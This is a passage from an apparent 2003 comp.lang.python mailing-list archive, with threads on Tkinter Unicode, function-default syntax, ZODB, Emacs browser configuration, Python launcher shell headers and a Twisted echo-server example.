wrapped that as a script, but intend to for the 1.0 release. 
 ResourcePackage is currently in 1.0 alpha status, it appears to work 
properly, but it has only had minimal testing.  You can get the 
distribution from the project page at:

    http://sourceforge.net/projects/resourcepackage/

I'm interested in any bug reports, enhancement requests or comments.

Enjoy all,
Mike Fletcher

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From bvdpoel at kootenay.com  Mon Jan 27 13:43:28 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: Mon, 27 Jan 2003 11:43:28 -0700
Subject: Tkinter + Unicode -- possible FIX
In-Reply-To: <3E356FA4.5010200@v.loewis.de>
References: <3e3446f4_1@dns.sd54.bc.ca> <b12j8e$bof$1@news2.tilbu1.nb.home.nl> <fc3b2087.0301270846.307fbb45@posting.google.com> <3E356FA4.5010200@v.loewis.de>
Message-ID: <3e35a3db_1@dns.sd54.bc.ca>

Martin v. L?wis wrote:
> Bob van der Poel wrote:
> 
>> And, I'm sort of
>> convinced that having encoding enabled is the proper way to do things.
> 
> 
> I'm convinced that this is evil. Your application will run on some 
> systems and crash on others.
>

Well, I'm beginning to believe you are right. So, guess it's off to the 
salt mines and I'll have to find all my widget.get()s and fix them.


-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel





From adalke at mindspring.com  Fri Jan 10 20:36:16 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 18:36:16 -0700
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <dqycnYAwFISbyIKjXTWc2Q@comcast.com>
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com>
Message-ID: <avnssl$rlb$1@slb4.atl.mindspring.net>

Terry Reedy wrote:
>>    def foo(x, y=default)(z=some_expression):
> 
> 
> -1/2 on this syntax.  I would prefer ';' instead of ',' to mark end of
> run-time variable params and start of define-tine fixed params.  Have
> no idea how difficult it would be to have compiler differentiate
> between this and ';' as statement separator.

Just so I know, do you mean like

def spam(x, y=default; z=some_expression):
     ...

?

I like the look of that better.

					Andrew
					dalke at dalkescientific.com




From judoscript at hotmail.com  Tue Jan  7 22:48:06 2003
From: judoscript at hotmail.com (James Huang)
Date: 7 Jan 2003 19:48:06 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com>
Message-ID: <52719db8.0301071948.71364a03@posting.google.com>

> If that's your definiton, all programming languages of which
> I'm aware are "scripting languages".  At least under Linux,
> issuing "OS commands"  is a standard library function accessible
> to all languages.  C and assembly language can both use the
> exact same system() or exec calls that Python and Perl do.

Gee... Anyway, this is what I call scripting:

   copy '*.java, *.jj' except '*Test*' in '~/src/'
        recursive echo
        to '~/archive/today';

   copy '*.java, *.jj' except '*Test*' in '~/src/'
        recursive echo
        into '~/archive/today_src.jar';

This is programming, "scriptingly":

   do 'http://www.google.com' as sgml
   {
   <a>:   println '<a>   link: ', $_.href;
   <img>: println '<img> link: ', $_.src;
   }

This is pure programming:

   for i from 1 to 10 {
     println i;
   }



From skip at pobox.com  Mon Jan 27 23:14:28 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 22:14:28 -0600
Subject: .pyc files
In-Reply-To: <_anZ9.1126$8p1.805@nwrddc04.gnilink.net>
References: <SHiZ9.2867$zI3.18023571@news-text.cableinet.net>
        <3E35F105.27C32244@engcorp.com>
        <_anZ9.1126$8p1.805@nwrddc04.gnilink.net>
Message-ID: <15926.932.620469.444735@montanaro.dyndns.org>

    Carl> Maybe he's trying to install a package by hand.  If you just copy
    Carl> the .py files to a library directory, a user python process
    Carl> couldn't store the .pyc files, so you compile the .py files before
    Carl> copying.

For a potential solution to this problem, feel free to read and comment on
PEP 304.

    http://www.python.org/dev/peps/pep-0304.html

Skip




From peter at engcorp.com  Sat Jan 25 16:46:06 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 16:46:06 -0500
Subject: Illegal literal or not?
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net> <dGrM+ks/KrEc089yn@the-wire.com> <3E32E570.63A1AEAC@engcorp.com> <mailman.1043525566.22875.python-list@python.org>
Message-ID: <3E33059E.EDA605DD@engcorp.com>

Gerrit Holl wrote:
> 
> Peter Hansen schreef op zaterdag 25 januari om 20:32:03 +0000:
> > Mel Wilson wrote:
> > > >>> print "'" + '"' + "Let's try this!" + '"' + ', they said.' + "'"
> > > >>> print ''.join (["'", '"', "Let's try this!", '"', ', they said.', "'"])
> 
> > >>> print '"'.join(["'", "Let's try this!", ", they said.'"])
> > '"Let's try this!", they said.'
> 
> >>> print "'"'"'"Let's try this!"'"'', they said.'"'"
> '"Let's try this!", they said.'
> 
> :)

Oooohh, very slick.  Automatic concatenation of adjacent string
literals. :-)

<hat mode="doffed"/>

-Peter



From brian at rk-speed-rugby.dk  Thu Jan 30 11:01:15 2003
From: brian at rk-speed-rugby.dk (Brian Elmegaard)
Date: 30 Jan 2003 17:01:15 +0100
Subject: Boa constructor  "Error on startup"
References: <uvg08fk6n.fsf@rk-speed-rugby.dk> <KgVZ9.373$Af6.36167@news.uswest.net>
Message-ID: <uu1fqzkxg.fsf@mail.afm.dtu.dk>

"Kevin Altis" <altis at semi-retired.com> writes:

> Go back to using wxPython 2.4.0.1 until this is fixed in Boa.

Great, thanks. This is really interesting I think. I do need to find
some time for trying it out.
-- 
Brian (remove the sport for mail)
http://www.et.dtu.dk/staff/be



From pedro_rodriguez at club-internet.fr  Thu Jan 16 12:47:29 2003
From: pedro_rodriguez at club-internet.fr (Pedro RODRIGUEZ)
Date: Thu, 16 Jan 2003 18:47:29 +0100
Subject: Declaring A Function Argument As Global?
References: <9fp60b.86b2.ln@boundary.tundraware.com>
Message-ID: <b06r86$1kb$1@s1.read.news.oleane.net>

On Thu, 16 Jan 2003 18:20:08 +0100, Tim Daneliuk wrote:

> I want to be able to write a generic list handling function which slices
> a list, but I don't want to have to return the modified list to do so.
> In other words, I purposely want the function to have a side-effect
> which modifies the list handed to it. For example:
> 
> def lhandler(list):
> 	list = list[1:]
> 

So you need to use a method provided by the object in order to modify it.
In your case, you are just creating a new object which will be bound to a
local variable.

Example :

def lhandler(list):
    list.pop(0)

or

def lhandler(list):
    del list[0]

or 

def lhandler(list):
    list.__delitem__(0)


Pedro



From sholden at holdenweb.com  Fri Jan  3 09:48:46 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Fri, 3 Jan 2003 09:48:46 -0500
Subject: ReportLab 1.17 Released
References: <Ytw3coAgCZF+Ew4U@jessikat.demon.co.uk>
Message-ID: <qrhR9.6920$Gv4.1634@fe08>

Robin:

I don't think anyone would object to a URL in the announcement :-)

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------
"Robin Becker" <robin at jessikat.fsnet.co.uk> wrote in message
news:Ytw3coAgCZF+Ew4U at jessikat.demon.co.uk...
> Version 1.17 of the ReportLab Toolkit has been released.
>
> Main changes since ReportLab 1.16:
> - Pythonpoint improvements contributed by Turgut Uyar & Tim Roberts.
> - Para.py fix from doug at pennatus.com.
> - Pdfgen image fixes.
> - Spiderchart from Andy Robinson.
> - Better distutils support with Dirk Datzert's assistance.
> - Improvements for Asian fonts in paragraphs.
> - Added _rl_accel._Ascii85Decode.
> - Graphics and other bug fixes.
> --
> Robin Becker






From LogiplexSoftware at earthlink.net  Mon Jan 20 13:26:00 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 20 Jan 2003 10:26:00 -0800
Subject: license
In-Reply-To: <000f01c2c020$e39bf310$78d0d23f@Arts>
References: <000f01c2c020$e39bf310$78d0d23f@Arts>
Message-ID: <1043087160.32069.307.camel@software1.logiplex.internal>

On Sun, 2003-01-19 at 17:11, Arthur wrote:
> Tim writes -
> 
> >As I said, the PSF license requires that derived works include a brief
> >summary of changes made from the base distribution. That, along with
> >preserving the PSF licence and copyright notice, is roughly all it
> requires.
> >There are no restrictions on the nature of changes derived works can make.
> 
> There is no notice here of the intention to modify an inplace Python
> installation and no notification that it has done so after it has done so.
> 
> One is left with a nonstandard installation, without notification of the
> fact that is going to happen or that it did in fact happen.
> 
> The fact that the non-standard change persists after doing an uninstall, is
> fuel to the fire, but not necessarily pertinent to whether there is a
> license violation.
> 
> I would certainly see no problem arguing that this is indeed a license
> violation.
> 
> I am curious why Terry is so adamant that it is not. That my suggestion is
> even impertinent.

I'd agree with you that such a modification is annoying and rude.  I
think Terry is taking the side of "you're using someone's code for free,
and then complaining about it" which also has some validity.  I'm not
sure what the package in question is, but I have to ask: does it make
sense for it to do this?  If the package were, for instance, a modified
version of Python itself, or if it modified the behavior of Python in a
fundamental way, then perhaps replacing the top-level documentation
might make sense.

> Not that anyone wants to be picayune.  The ugliness is the real point. But
> it is,isn't or might be a particular kind of ugliness.

Personally, I think you should fork the code.  Anger can be a great
motivator.  Or perhaps just provide a patch and every time the package
in question gets announced on comp.lang.python.announce, announce your
patch right afterwards ;)  That might even provoke the package author
into making the change.


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From pinard at iro.umontreal.ca  Mon Jan 20 08:39:52 2003
From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 20 Jan 2003 08:39:52 -0500
Subject: doc in emacs
In-Reply-To: <87hec4x9oc.fsf@flibuste.net>
References: <87hec4x9oc.fsf@flibuste.net>
Message-ID: <oqiswkym6v.fsf@titan.progiciels-bpi.ca>

[William]

> Is there an easy way to browse the python manual inside emacs ?

There once was an Info rendering of the Python manuals which I found very
convenient at the time, but I do not know if it is kept up-to-date anymore.

Currently, to browse Python manuals, I use `links' for Web access and gave
myself a few Emacs commands to easily launch it, either within Emacs and
externally.  I prefer using it externally when running Emacs under X, within
Emacs otherwise.  In case some people are interested, let me append my
customisation for this, all crude and raw.  Use at your own risk! :-)

Some people prefer Emacs-w3, yet I often find it slow, and in some
circumstances, uneasy to install.



;;; D?but de `etc/emacs/commun/browse-url.el'.

;;;; `Browse-URL' package.

(require 'executable)

;; `h' pour `highlight'.
(global-set-key "\C-cWh" 'goto-address)

(defvar browse-url-browser-function)
(defvar browse-url-netscape-arguments)
(defvar browse-url-xterm-program)
(defvar browse-url-xterm-args)
(defvar browse-url-save-file)
(defvar fp-browse-through)
(defvar fp-browse-with)

(setq browse-url-browser-function 'fp-browse-url
      browse-url-netscape-arguments '("-install")
      browse-url-xterm-program "rxvt"
      browse-url-xterm-args '("-geometry" "80x34" "+sb" "-fn" "10x20")
      browse-url-save-file t
      fp-browse-through (if window-system 'xterm 'emacs)
      fp-browse-with (cond ((executable-find "links") "links")
			   ((executable-find "w3m") "w3m")
			   ((executable-find "lynx") "lynx")
			   ((executable-find "netscape") "netscape")))

(global-set-key "\C-cW." 'browse-url-at-point)
(global-set-key "\C-cWb" 'browse-url-of-buffer)
(global-set-key "\C-cWr" 'browse-url-of-region)
(global-set-key "\C-cWu" 'browse-url)
(global-set-key "\C-cWv" 'browse-url-of-file)

(global-set-key "\C-cWn" 'fp-set-browse-through-netscape)
(global-set-key "\C-cWe" 'fp-set-browse-through-emacs)
(global-set-key "\C-cWx" 'fp-set-browse-through-xterm)
(global-set-key "\C-cWl" 'fp-set-browse-with-links)
(global-set-key "\C-cWw" 'fp-set-browse-with-w3m)
(global-set-key "\C-cWy" 'fp-set-browse-with-lynx)

(defun fp-browse-url-dired-mode-routine ()
  (local-set-key "W" 'browse-url-of-dired-file))
(add-hook 'dired-mode-hook 'fp-browse-url-dired-mode-routine)

(defun fp-set-browse-through-netscape ()
  (interactive)
  (unless window-system
    (error "X est requis."))
  (unless (executable-find "netscape")
    (error "Netscape est requis."))
  (setq fp-browse-with "netscape")
  (global-set-key [S-mouse-2] 'browse-url-at-mouse)
  (global-set-key "\C-cWo" 'browse-url-netscape-reload)
  (autoload 'browse-url-netscape-reload "browse-url" nil t)
  (message "Avec Netscape."))
;; REVOIR: Ce qui suit serait mieux, mais alors, browse-url-netscape est
;; appel? avec ("fichier") plut?t que "fichier", ce qui provoque une erreur.
;; (setq browse-url-browser-function '(("^mailto:" . browse-url-mail)
;;				      ("." . browse-url-netscape)))

(defun fp-set-browse-through-emacs ()
  (interactive)
  (setq fp-browse-through 'emacs)
  (message "? l'int?rieur de Emacs."))

(defun fp-set-browse-through-xterm ()
  (interactive)
  (unless window-system
    (error "X est requis."))
  (setq fp-browse-through 'xterm)
  (message "Dans une fen?tre s?par?e."))

(defun fp-set-browse-with-links ()
  (interactive)
  (unless (executable-find "links")
    (error "Links est requis."))
  (setq fp-browse-with "links")
  (message "Avec Links."))

(defun fp-set-browse-with-lynx ()
  (interactive)
  (unless (executable-find "lynx")
    (error "Lynx est requis."))
  (setq fp-browse-with "lynx")
  (message "Avec Lynx."))

(defun fp-set-browse-with-w3m ()
  (interactive)
  (unless (executable-find "w3m")
    (error "W3m est requis."))
  (setq fp-browse-with "w3m")
  (message "Avec W3m."))

(defun fp-browse-url (url &optional new-window)
  (interactive (browse-url-interactive-arg "URL: "))
  (cond ((string-equal fp-browse-with "netscape")
	 (browse-url-netscape url new-window))
	((eq fp-browse-through 'emacs)
	 (fp-browse-url-through-emacs url new-window))
	((eq fp-browse-through 'xterm)
	 (fp-browse-url-through-xterm url new-window))))

(defun fp-browse-url-netscape-reload ()
  (when (string-equal fp-browse-with "netscape")
    (browse-url-netscape-reload)))
(add-hook 'browse-url-of-file-hook 'fp-browse-url-netscape-reload)

;; --- Browser in an xterm ---

(defun fp-browse-url-through-xterm (url &optional new-window)
  ;; new-window ignored
  "Ask the WWW browser to load URL.
Default to the URL around or before point.  A new process is run in an Xterm
window using the Xterm program named by `browse-url-xterm-program' with
possible additional arguments `browse-url-xterm-args'."
  (apply #'start-process `(,(concat fp-browse-with "-" url) nil
			   ,browse-url-xterm-program , at browse-url-xterm-args
			   "-e" ,fp-browse-with ,url)))

;; --- Browser in an Emacs "term" window ---

(defun fp-browse-url-through-emacs (url &optional new-buffer)
  "Ask the WWW browser to load URL.
Default to the URL around or before point.  With a prefix argument, run
a new browser process in a new buffer.

When called interactively, if variable `browse-url-new-window-flag' is
non-nil, load the document in a new browser in a new term window,
otherwise use any existing one.  A non-nil interactive prefix argument
reverses the effect of `browse-url-new-window-flag'.

When called non-interactively, optional second argument NEW-WINDOW is
used instead of `browse-url-new-window-flag'."
  (let* ((system-uses-terminfo t)       ; browser uses terminfo
	 ;; (term-term-name "vt100") ; ??
	 (buf (get-buffer (concat "*" fp-browse-with "*")))
	 (proc (and buf (get-buffer-process buf)))
	 (n browse-url-lynx-input-attempts))
    (if (and (browse-url-maybe-new-window new-buffer) buf)
	;; Rename away the OLD buffer. This isn't very polite, but
	;; term insists on working in a buffer named *terminal* and would
	;; choke on *terminal*<1>.
	(progn (set-buffer buf)
	       (rename-uniquely)))
    (if (or (browse-url-maybe-new-window new-buffer)
	    (not buf)
	    (not proc)
	    (not (memq (process-status proc) '(run stop))))
	;; start a new browser
	(progn
	  (setq buf
		(apply #'make-term
		       `(,fp-browse-with ,fp-browse-with nil
					 , at browse-url-lynx-emacs-args ,url)))
	  (switch-to-buffer buf)
	  (term-char-mode)
	  (set-process-sentinel
	   (get-buffer-process buf)
	   ;; Don't leave around a dead one (especially because of its
	   ;; munged keymap.)
	   (lambda (process event)
	     (if (not (memq (process-status process) '(run stop)))
		 (let ((buf (process-buffer process)))
		   (if buf (kill-buffer buf)))))))
      ;; send the url to browser in the old buffer
      (let ((win (get-buffer-window buf t)))
	(if win
	    (select-window win)
	  (switch-to-buffer buf)))
      (if (eq (following-char) ?_)
	  (cond ((eq browse-url-lynx-input-field 'warn)
		 (error "Please move out of the input field first"))
		((eq browse-url-lynx-input-field 'avoid)
		 (while (and (eq (following-char) ?_) (> n 0))
		   (term-send-down) ; down arrow
		   (sit-for browse-url-lynx-input-delay))
		 (if (eq (following-char) ?_)
		     (error "Cannot move out of the input field, sorry")))))
      (term-send-string proc (concat "g" ; goto
				     "\C-u" ; kill default url
				     url
				     "\r")))))


;;;; Autres outils.

(defun fp-copy-url-in-file (text)
  (interactive "sTexte: ")
  (let ((config (current-window-configuration))
	(url (thing-at-point 'url))
	(file (read-file-name "Vers: " (expand-file-name "~/etc/web/doc"))))
    (find-file file)
    (recursive-edit)
    (newline-and-indent)
    (insert "<a href=\"" url "\">")
    (newline-and-indent)
    (insert (or text url) "</a>")
    (beginning-of-line)
    (xxml-fill-element nil)
    (set-window-configuration config)))
(global-set-key "\C-cWc" 'fp-copy-url-in-file)

(defun fp-browse-maison ()
  (interactive)
  (browse-url-of-file "/home/pinard/WWW/html/index.html"))
(global-set-key "\C-cWm" 'fp-browse-maison)

(defun fp-browse-altavista (query)
  (interactive "sAltavista query: ")
  (let ((url "http://www.altavista.digital.com/"))
    (browse-url (if (string-match "^[ \t]*$" query)
		    url
		  (concat url "cgi-bin/query?pg=aq&what=web&fmt=.&q="
			  (fp-quote-query query) "&r=&d0=&d1=")))))
(global-set-key "\C-cWa" 'fp-browse-altavista)

(defun infoseek (query)
  (interactive "sQuery: ")
  (let ((url "http://www2.infoseek.com"))
    (browse-url (if (string-match "^[ \t]*$" query)
		    url
		  (concat url "/NS/Titles?qt=" (fp-quote-query query))))))

(defun fp-browse-labs (query)
  (interactive "sQuery: ")
  (let ((url "http://labs.google.com"))	; ou labs1 ?
    (browse-url (if (string-match "^[ \t]*$" query)
		    url
		  ;; /sets?hl=en&q1=Tim+Peters&q2=Fredrik+Lundh&q3=Alex+Martelli&q4=Guido+van+Rossum&q5=&btn=Large+Set
		  (concat url (fp-quote-query query))))))


(defun fp-browse-google (query)
  (interactive "sGoogle query: ")
  (let ((url "http://www.google.com"))
    (browse-url (if (string-match "^[ \t]*$" query)
		    url
		  ;; hl=en
		  ;; hl=en&lr=
		  ;; meta=lr%3Dlang_fr%26hl%3Dfr
		  ;; sourceid=navclient
		  ;; sourceid=opera&num=0&ie=utf-8&oe=utf-8
		  (concat url "/search?q=" (fp-quote-query query))))))
(global-set-key "\C-cWg" 'fp-browse-google)

(defun fp-browse-groups (query)
  (interactive "sQuery: ")
  (let ((url "http://groups.google.com"))
    (browse-url (if (string-match "^[ \t]*$" query)
		    (concat url "/advanced_group_search")
		  ;; hl=en
		  ;; as_q=jython%20release&as_ugroup=comp.lang.python&lr=lang_en&hl=en
		  ;; group=comp.lang.python&hl=en
		  ;; group=comp.lang.python.%2A&q=QueryPerformanceCounter
		  ;; hl=en&lr=&safe=off&group=comp.lang.python
		  ;; hl=en&q=current+function+name+python
		  ;; hl=en&selm=2nd70rwjch.fsf%40zsh.cs.rochester.edu
		  ;; q=font+size+idle&hl=en&lr=&ie=UTF-8&scoring=> r&selm=3a942c61_4%40corp.newsfeeds.com&rnum=1
		  ;; selm=9fkubv0i48%40enews2.newsguy.com
		  (concat url "/groups?q=" (fp-quote-query query))))))

(defun fp-quote-query (text)
  (mapconcat '(lambda (character)
		(cond ((= character ? ) "+")
		      ((or (and (>= character ?a) (<= character ?z))
			   (and (>= character ?A) (<= character ?Z))
			   (and (>= character ?0) (<= character ?9)))
		       (char-to-string character))
		      (t (upcase (format "%%%02x" character)))))
	     query
	     ""))

;;; Fin de `etc/emacs/commun/browse-url.el'.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From bbeck at NOSPAM.austin.rr.com  Thu Jan 16 01:04:21 2003
From: bbeck at NOSPAM.austin.rr.com (Brandon Beck)
Date: Thu, 16 Jan 2003 06:04:21 GMT
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>
Message-ID: <FXrV9.40983$aG4.2234344@twister.austin.rr.com>

After reading through all of the other posts in this thread, I can see 
two potential solutions not yet mentioned.

1.  Add an additional column to your table that contains the numeric 
representation of your data.  This column will be used in your queries 
for comparison purposes only, while your program will be provided the 
string version of the data.  This had the disadvantage that your rows 
are now one field bigger, and have duplicate data that must remain 
consistent.

2.  If you know your set of possible integers and floating point numbers 
are reasonably small, you can make an auxillary table that you can join 
against that maps a string to its numeric value.  This had the advantage 
of being nicer on space than the first solution.


I know you've said that you agree with the design decision made to 
represent this apparent numeric data as strings, and agree with it, but 
be warned that the types of operations you're suggesting be performed on 
this string data, namely any type of comparison operation, is going to 
be slow, and likely to cause performance issues if your database gets 
reasonably large.  It may make sense to revisit your design with this in 
mind.



Chris Spencer wrote:
> 	Due to certain design constraints, I must be able to store both integers
> and floating point numbers as strings.  These strings must be able to be
> compared correctly, so things like: "999"<"3432" are not possible.
> 	One option we thought of was padding the strings with zeros, so things
> like: "00000999"<"00003432" would work.  This seems a bit hack-y to me.  I was
> wondering if anyone has a more elegant solution to the problem?
> 
> Chris.
> 




From maxm at mxm.dk  Thu Jan  9 04:56:38 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 09 Jan 2003 10:56:38 +0100
Subject: ZODB: don't like self._p_changed
In-Reply-To: <avjfop$tmb$00$1@news.t-online.com>
References: <avjfop$tmb$00$1@news.t-online.com>
Message-ID: <3E1D4756.7040406@mxm.dk>

Thomas Guettler wrote:
> Hi!
> 
> I like ZODB very much. With it I don't need to
> squeeze my application into database tables.
> 
> Unfortunately you need to set self._p_changed=1
> if you change a list of the object.
> 
> Example:
> self.my_list.append("foo")
> self._p_changed=1 # This is needed


You could also just do::

     l = self.my_list
     l.append("foo")
     self.my_list = l

> Will this disappear in the future?


Probably not. How should an object know if a mutable subobject has been 
changed?

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From tecargile at hotmail.com  Thu Jan 16 09:01:24 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 16 Jan 2003 06:01:24 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <8b67aef5.0301151202.1fa45343@posting.google.com> <3E261C26.B6B6FB59@alcyone.com>
Message-ID: <8b67aef5.0301160601.707f02b8@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E261C26.B6B6FB59 at alcyone.com>...
> Tim Cargile wrote:
> 
> > There is a FAQ 4.63 from python.org regarding this but,
> > as Erik Max Francis has pointed out in this thread, there may be
> > limitations w/r '/usr/bin/env' that may eliminate using it and require
> > use of the following (as the first three lines of a python module
> > that is desired to be run):
> > 
> >   #! /bin/sh
> >   """:"
> >   exec python $0 ${1+"$@"}
> >   """
> 
> This doesn't really resolve the issue; the Python interpreter it invokes
> is still PATH-dependent, which was the problem with /usr/bin/env.


That is correct.  Because

    #! /bin/sh
    """:"
    exec python $0 ${1+"$@"}
    """

was not originally developed to 'resolve' the issue of PATH-dependency
and,
of course, it cannot do so.  It was originally developed because
'/usr/bin/env'
was completly failing because of an excessive number of variables
in the environment that caused 'env' to fail.  It appears as if it's
develpment was a workaround for that situation. The original thread
that I located when researching this issue can be found on
comp.lang.python,
Subject='Once more about #!/usr/bin/env' dated November 9, 1997. 
Courtesy
Sofin Raskin.  Wow, 'Once more...' and that was 1997!

As you have written:

>   The real wart here is that if you have multiple interpreters installed, say,
>   in /usr/bin and /usr/local/bin, then /usr/bin/env picks the python
>   that's associated with your PATH.  This can lead to bad surprises if the
>   script runs in an interactive shell vs., say, a CGI script or a cron
>   job, where the PATHs are almost certain to be far more restrictive,
>   particularly if you have a highly customized interactive shell.

>   Unfortunately, there's truly no magic bullet here when the script itself
>   depends on a certain version of Python.

I'm not so sure that we are that unfortunate.  My submitted
'extensions'
to the above, seminal approach to launching the python interpreter
may, at
least have the answer to selecting either a desired or preferentail
interpreter.
And I don't see why a variation of one of them could not also handle a
restrictive situation of a CGI script or a cron job as well, if there
is
nothing to stop an expansion or override of PATH and/or the heuristic
selection of an absolute path for the interpreter within the script.

Such as this does:

#! /bin/sh
""":
PATH=/usr/local/bin:${PATH}
exec python $0 ${1+"$@"}
"""

And this:

#! /bin/sh
""":"
if [ -x /usr/local/bin/python ];then
   exec /usr/local/bin/python $0 ${1+"$@"}
elif [ -x /usr/bin/python ];then
   exec /usr/bin/python $0 ${1+"$@"}
else
    echo "$0: Cannot find python in /usr/local/bin, /usr/bin" >&2
    exit 2
fi
"""

Perhaps there is not one variation that can handle running the desired
interpreter on all platforms in the World (the magic bullet?), but at
least
it can handle most of them, I would wager.  The only caveat is that
'/bin/ksh'
has to be there and have some resemblence to a Bourne shell
interpreter.



From judoscript at hotmail.com  Wed Jan  8 23:47:39 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 20:47:39 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <avi2jc$o0n$1@slb2.atl.mindspring.net>
Message-ID: <52719db8.0301082047.287e00b8@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avi2jc$o0n$1 at slb2.atl.mindspring.net>...
> James Huang wrote:
> > This is an example of scripting:
> > 
> >   sendMail
> >      from:  'me at here.com'
> >        to:  'a at b.com, b at c.com'
> >        cc:  'd at e.com'
> >   subject:  'test test'
> >    attach:  'bin.jar'
> >      body:  [[*
> >                 blah blah blah
> >                 blah blah
> >             *]]
> >  htmlBody:  [[*
> >                 <html><body><b>Blah</b> blah
> >                 </body></html>
> >             *]]
> >  ;
> 
> As compared to programming which would let you specify the MIME
> type for the attachment, or compose the content dynamically instead
> of from a file, and say that the htmlBody is multipart/mixed instead
> of multipart/alternative, or include PDF as one of the possible
> alternatives?
> 
> Here's an example of something I don't see 'nicely' doable with
> your API.  I want to send email to my clients.  For each client I
> want to include a little graph (say a bandwidth usage graph) which
> is automatically generated from my database.  In Python I can do
> all this without having to explicitly use a temporary file.  It
> seems that you have to create a temp file, which then means you
> need to worry that the current directory is writeable or that there
> isn't some sort of attack possible in your common-writeable
> temporary directory.  (Hence not as 'nice'.)
> 

First off, I don't call "sendMail" an API (but that again may fall
into the meaningless confusion of what exactly is API, scripting,
...). For what you described, you are right, you need to fall back to
API such as Java's javax.mail.* package, which is used by this
"sendMail" statement.

Obviously, you are an expert in mail programming, and the situations
you described are rather involved. It all boils down to probability
when analyzing computer systems -- what are the probabilities of what
JudoScript-sendMail can handle and what not. Also, how many people can
use JudoScript-sendMail, how many use mail API(s)?

> 
> I also wonder if there are problems sending headers which use
> multiple character sets.  You only allow one character set for all
> of the header.  Suppose my name is Per?z (in the From line) but
> I want to send a Subject in Japanese?  Now, I don't know enough
> about character sets to know if this is a problem (perhaps Hebrew
> and Japanese might be a problem?) or even if email programs allow
> this.  But I do know the email spec for encoding in the header
> does allow intermixing multiple character sets in even the same
> header line -- and Python's API supports it.
> 

You can specify different character-sets for any of these 3:
"sendMail", "body" and "htmlBody". I've heard Japanese emails may use
different encodings for differnet parts, as you described.

> Anyway, if these limitations are part of scripting then I
> prefer programming, where I can easily define a new function for
> the special (though common!) case you have above.
> 
> There is an argument for making a programming language which is
> easy to use so that non-programmers can work with it -- the
> "Computer Programming For Everyone" idea.  That must be balanced
> by the fact that while the common case is common, the special
> cases are needed, even for beginners.
> 

JudoScript's extremely-easy-to-use features are not designed for
non-programmers, but rather for potent programmers especially those
who know Java. I can program javax.mail.*, big deal, but only if I
have to.

> by the fact that while the common case is common, the special
> cases are needed, even for beginners.

JudoScript's many easy-to-use features do not stop you from invoking
underlying APIs at all.

It is hard for me to understand why some programmers are so afraid of
easier ways of doing things (not necessarily you, Andrew, but there is
an anonymous guy responded to an article on LinuxJournal site). We can
program does not mean we have to program, unless, perhaps, for job
security reasons.

> 					Andrew
> 					dalke at dalkescientific.com

Thank you,
-James



From andrew-pythonlist at puzzling.org  Sat Jan  4 19:12:48 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sun, 5 Jan 2003 11:12:48 +1100
Subject: Threaded server in python!?
In-Reply-To: <x7y9607rmn.fsf@guru.mired.org>
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org> <x7y9607rmn.fsf@guru.mired.org>
Message-ID: <20030105001248.GC31035@frobozz.local>

On Sat, Jan 04, 2003 at 11:26:56AM -0600, Mike Meyer wrote:
> Andrew Bennetts <andrew-pythonlist at puzzling.org> writes:
> > 
> > Using a library like Twisted <http://twistedmatrix.com/>, it's
> > straightforward to handle multiple sockets, without needing threads.
> > 
> > As a bonus, Twisted has implementations of many common protocols, ready for
> > you to use and adapt to your problem
> 
> The above also applies to medusa, except that it's a multi-protocol
> internet server instead of a library. I actually wrote an http chat
> server on top of medusa for a client, and was pleased with how well it
> worked.

Twisted is also multi-protocol (by which I presume you mean running multiple
protocols the same event loop simultaneously[1]).

For instance, a trivial example of an echo server and a quote-of-the-day
server:

--- begin example ---

from twisted.internet.protocol import Protocol, ServerFactory

# Protocol Implementations

class Echo(Protocol):
    def dataReceived(self, data):
        """As soon as any data is received, write it back."""
        self.transport.write(data)

class QOTD(Protocol):
    def connectionMade(self):
        """Immediately write a QOTD message, then close the connection."""
        self.transport.write(self.getQuote())
        self.transport.write('\n')
        self.transport.loseConnection()

    def getQuote(self):
        return 'Twisted: The Framework of Your Internet'

# From here down is just boilerplate
if __name__ == '__main__':
    from twisted.internet.app import Application
    app = Application("echo")
    
    factory = ServerFactory()
    factory.protocol = Echo
    app.listenTCP(8007, factory)
    
    factory = ServerFactory()
